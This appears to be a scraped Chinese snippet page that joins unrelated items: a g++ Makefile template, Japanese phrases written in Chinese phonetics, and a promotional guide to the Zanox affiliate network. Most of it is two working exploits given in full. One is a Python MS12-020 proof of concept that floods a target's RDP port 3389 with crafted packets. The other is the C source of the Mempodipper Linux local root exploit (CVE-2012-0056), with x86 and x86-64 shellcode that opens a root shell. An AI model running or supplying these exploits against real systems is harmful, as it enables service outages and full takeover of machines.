Makefile 简单写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
CC=g++
CFLAGS=-Wall -ansi -pedantic -g -O2

EXEC=生成名
OBJS=和C文件对应.o main.o

all: $(EXEC)

$(EXEC) : $(OBJS)
    $(CC) -o $@ $(OBJS)
         
%.o : %.cpp
    $(CC) -c $(CFLAGS) $^ -o $@
     
tar:
    tar cvfz $(EXEC).tgz *

clean:
    rm -f $(OBJS) $(EXEC).tgz *~ $(EXEC).tgz
   
install:
    strip $(EXEC)

MS12-020

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#ms12-020 "chinese shit" PoC v2 (wireshark版)
# 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用
# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
# 附件中添加time.sleep修正bug版本的py脚本
# BlackBap.Org
 
import socket
import sys
buf=""
buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125

buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet
buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
buf+="\xc0"

buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80"  # ITU-T Rec X.224
buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c"  # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
buf+="\x06\xd0\x00\x00\x12\x34\x00"  #ITU-T Rec X.224

HOST = sys.argv[1]
PORT = 3389
for i in range(1000):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST,PORT))
        print "sending: %d bytes" % len(buf)
        s.send(buf)
        rec = s.recv(100)
        print "received: %d bytes" % len(rec)
        s.close()

日语速成 中文 发音 注释

1、你好——口你七哇(白天)、袄哈有(早上)、空帮哇(晚上)
2、谢谢——阿里嘎脱
3、再见——撒腰那拉(这个不常用)
4、再见——八一八一or甲or甲阿内or甲马塔or马塔内or扫屋甲
5、没关系——卡马依马散 多依塔洗马洗帖(te)(对方说谢谢时用)
6、是!不是!——害!依——挨!
7、行!不行!——依——内!打咩! j
8、对不起——死米马散!or狗埋!
9、不知道——希腊那依 More

zanox联盟 申请教程

Zanox.de AG是德国网络广告联盟公司,在欧洲有辉煌的运作业绩,在世界许多地区也设有分公司,由于刚刚进入中国市场
,所以更加注重信誉。并且,德国的良好信誉,一直以来都获得了全世界的认可。该广告联盟以欧元作为主要货币单位,最
低付款底线是25欧元。

作为站长,即使没有点击或销售提成,只靠赚取推荐站长注册的佣金每月也能获得欧元。欧元与人民币目前的汇率是100欧元
兑换人民币1044.81元,而美圆则是100美圆兑换人民币715.22元。所以对于中国的站长来说赚美圆不如赚欧元来的实在。
(全中文页面)开始ZANOX后,不用再去推荐什么姑妈(alimama),(Adsense),相信你的判断,更详细的教程我会发布到网站上

主要方式:
1、申请点击类广告,最低的是一个点击0.1个欧元,即大约人民币1元;
2、申请注册、销售等提成类,佣金比例相当大;
3、推荐站长,有效推荐一个站长,得2欧元。

Linux kernels >=2.6.39 local root exploit 0day

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
/*
 * Mempodipper
 * by zx2c4
 *
 * Linux Local Root Exploit
 *
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 *
 * Enjoy.
 *
 * - zx2c4
 * Jan 21, 2012
 *
 * CVE-2012-0056
 */

 
#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>
 
int send_fd(int sock, int fd)
{
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    int n;
    char cms[CMSG_SPACE(sizeof(int))];
 
    buf[0] = 0;
    iov.iov_base = buf;
    iov.iov_len = 1;
 
    memset(&msg, 0, sizeof msg);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = CMSG_LEN(sizeof(int));
 
    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
 
    if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
        return -1;
    close(sock);
    return 0;
}
 
int recv_fd(int sock)
{
    int n;
    int fd;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    char cms[CMSG_SPACE(sizeof(int))];
   
    iov.iov_base = buf;
    iov.iov_len = 1;
 
    memset(&msg, 0, sizeof msg);
    msg.msg_name = 0;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
 
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = sizeof cms;
 
    if ((n = recvmsg(sock, &msg, 0)) < 0)
        return -1;
    if (n == 0)
        return -1;
    cmsg = CMSG_FIRSTHDR(&msg);
    memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    close(sock);
    return fd;
}
 
int main(int argc, char **argv)
{
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
        char parent_mem[256];
        sprintf(parent_mem, "/proc/%d/mem", getppid());
        printf("[+] Opening parent mem %s in child.\n", parent_mem);
        int fd = open(parent_mem, O_RDWR);
        if (fd < 0) {
            perror("[-] open");
            return 1;
        }
        printf("[+] Sending fd %d to parent.\n", fd);
        send_fd(atoi(argv[2]), fd);
        return 0;
    }
   
    printf("===============================\n");
    printf("=          Mempodipper        =\n");
    printf("=           by zx2c4          =\n");
    printf("=         Jan 21, 2012        =\n");
    printf("===============================\n\n");
   
    int sockets[2];
    printf("[+] Opening socketpair.\n");
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
        perror("[-] socketpair");
        return -1;
    }
    if (fork()) {
        printf("[+] Waiting for transferred fd in parent.\n");
        int fd = recv_fd(sockets[1]);
        printf("[+] Received fd at %d.\n", fd);
        if (fd < 0) {
            perror("[-] recv_fd");
            return -1;
        }
        printf("[+] Assigning fd %d to stderr.\n", fd);
        dup2(2, 6);
        dup2(fd, 2);
 
        unsigned long address;
        if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
            address = strtoul(argv[2], NULL, 16);
        else {
            printf("[+] Reading gpasswd for exit@plt.\n");
            // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
            FILE *command = popen("objdump -d /usr/bin/gpasswd|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
            char result[32];
            result[0] = 0;
            fgets(result, 32, command);
            pclose(command);
            address = strtoul(result, NULL, 16);
            if (address == ULONG_MAX || !address) {
                printf("[-] Could not resolve /usr/bin/gpasswd. Specify the exit@plt function address manually.\n");
                printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
                return 1;
            }
            printf("[+] Resolved exit@plt to 0x%lx.\n", address);
        }
        printf("[+] Calculating gpasswd padding.\n");
        FILE *command = popen("/usr/bin/gpasswd this-user-does-not-exist 2>&1", "r");
        char result[256];
        result[0] = 0;
        fgets(result, 256, command);
        pclose(command);
        unsigned long gpasswd_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
        unsigned long offset = address - gpasswd_padding;
        printf("[+] Seeking to offset 0x%lx.\n", offset);
        lseek64(fd, offset, SEEK_SET);
       
#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        char shellcode[] =
            "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
            "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
            "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
            "\x80";
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        char shellcode[] =
            "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
            "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
            "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
            "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
            "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
 
#else
#error "That platform is not supported."
#endif
        printf("[+] Executing gpasswd with shellcode.\n");
        execl("/usr/bin/gpasswd", "gpasswd", shellcode, NULL);
    } else {
        char sock[32];
        sprintf(sock, "%d", sockets[0]);
        printf("[+] Executing child from child fork.\n");
        execl("/proc/self/exe", argv[0], "-c", sock, NULL);
    }
}